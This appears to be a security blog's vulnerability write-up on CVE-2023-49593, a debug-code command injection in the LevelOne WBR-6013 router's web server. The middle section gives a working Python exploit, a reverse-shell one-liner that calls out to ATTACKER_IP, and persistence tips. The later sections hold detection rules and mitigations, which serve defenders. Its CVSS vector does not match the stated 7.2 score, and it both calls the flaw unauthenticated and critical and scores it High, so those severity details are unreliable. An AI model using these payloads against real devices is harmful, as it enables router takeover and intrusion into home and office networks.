CVE-2023-49593

Executive Summary

CVE-2023-49593 exposes a critical vulnerability in the LevelOne WBR-6013 router, specifically in firmware version RER4_A_v3411b_2T2R_LEV_09_170623. The flaw resides in the boa web server's formSysCmd functionality, where leftover debug code allows an unauthenticated attacker to execute arbitrary system commands via a specially crafted network request. With a CVSS score of 7.2, this vulnerability poses a severe risk to network integrity and confidentiality. No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis. However, the public availability of proof-of-concept code increases the urgency for mitigation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is High due to the lack of authentication required, low complexity, and the potential for full device compromise. An attacker can leverage this to pivot into internal networks, exfiltrate data, or launch further attacks.

Deep Dive & Mechanics

The vulnerability originates from leftover debug code in the boa web server's formSysCmd handler. During development, debug endpoints are often left enabled to facilitate testing, but in production firmware, they should be removed or disabled. In this case, the formSysCmd function accepts POST requests and passes user-supplied input directly to a system shell without sanitization or authentication.

The affected firmware is based on a Linux environment running the boa web server. The debug code likely uses functions like popen() or system() to execute commands, allowing an attacker to inject arbitrary OS commands. For example, a request to /goform/formSysCmd with a parameter like cmd=id would return the output of the id command.

The lack of input validation and authentication makes this a trivial exploit. An attacker only needs network access to the router's web interface (typically on port 80 or 443) to send a malicious POST request.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In boa's formSysCmd handler
void formSysCmd(request *req) {
    char cmd[256];
    strcpy(cmd, req->get_param("cmd")); // No bounds checking or sanitization
    FILE *fp = popen(cmd, "r"); // Executes arbitrary command
    // ... output handling
}

Patched Code (Hypothetical):

void formSysCmd(request *req) {
    // Remove debug functionality entirely
    send_error(req, 404, "Not Found");
    return;
}

Since no official patch exists, the only mitigation is to disable the vulnerable functionality or apply a vendor-supplied update if released.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: LevelOne WBR-6013 with firmware RER4_A_v3411b_2T2R_LEV_09_170623
• Network access to the router's web interface (default IP often 192.168.1.1)

Exploit Code (Python):

import requests

target = "http://192.168.1.1"
command = "id"

payload = {
    "cmd": command
}

response = requests.post(f"{target}/goform/formSysCmd", data=payload)
print(response.text)

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Advanced Exploitation:

• Reverse shell: cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
• Persistence: Add SSH keys or backdoor users.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for POST requests to /goform/formSysCmd with unusual parameters.
2. Look for command injection patterns in HTTP request bodies (e.g., ;, |, &&, backticks).
3. Check for outbound connections from the router to unknown IPs on non-standard ports.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the WBR-6013 web interface.
• Log all POST requests to /goform/formSysCmd for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /goform/formSysCmd with parameters containing shell metacharacters.
• Outbound connections from the router to external IPs on ports 4444, 1337, or 8080.
• Unusual DNS queries from the router to domains associated with C2 servers.

File System IOCs:

• Presence of unauthorized files in /tmp/ or /var/ (e.g., reverse shell scripts).
• Modified /etc/passwd or /etc/shadow indicating backdoor accounts.
• New cron jobs in /etc/crontab or /var/spool/cron/.

Process IOCs:

• Running processes like python3, nc, bash spawned by the boa process.
• Unexpected network listeners on high ports (e.g., 4444, 31337).

Detection Engineering

YARA Rule

rule CVE_2023_49593_LevelOne_WBR6013 {
    meta:
        description = "Detects exploit attempts for CVE-2023-49593 targeting LevelOne WBR-6013"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-49593"
    strings:
        $s1 = "/goform/formSysCmd" ascii wide nocase
        $s2 = "cmd=" ascii wide nocase
        $s3 = "popen" ascii wide nocase
        $s4 = "system(" ascii wide nocase
    condition:
        any of ($s1,$s2) or all of ($s3,$s4)
}

Sigma Rule

title: CVE-2023-49593 LevelOne WBR-6013 Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/formSysCmd with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formSysCmd'
    keywords:
        - 'cmd='
        - '|'
        - ';'
        - '&&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate debug usage (unlikely in production)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-49593 LevelOne WBR-6013 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formSysCmd"; http_uri; content:"cmd="; http_client_body; pcre:"/(cmd=.*[|;&`])/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable remote access to the router's web interface.
2. Network Segmentation: Place the router in a separate VLAN with strict firewall rules.
3. Monitor Logs: Enable logging and monitor for exploitation attempts.

Long-Term Fixes:

• Vendor Patch: Await an official firmware update from LevelOne. Contact their support for ETA.
• Firmware Replacement: Consider replacing the device with a more secure alternative if no patch is released.
• Custom Firewall Rule: Block POST requests to /goform/formSysCmd at the network perimeter.

Workaround:

• If the router's firmware is open-source, manually remove the debug code and recompile. However, this is not recommended for non-experts.

Valters IT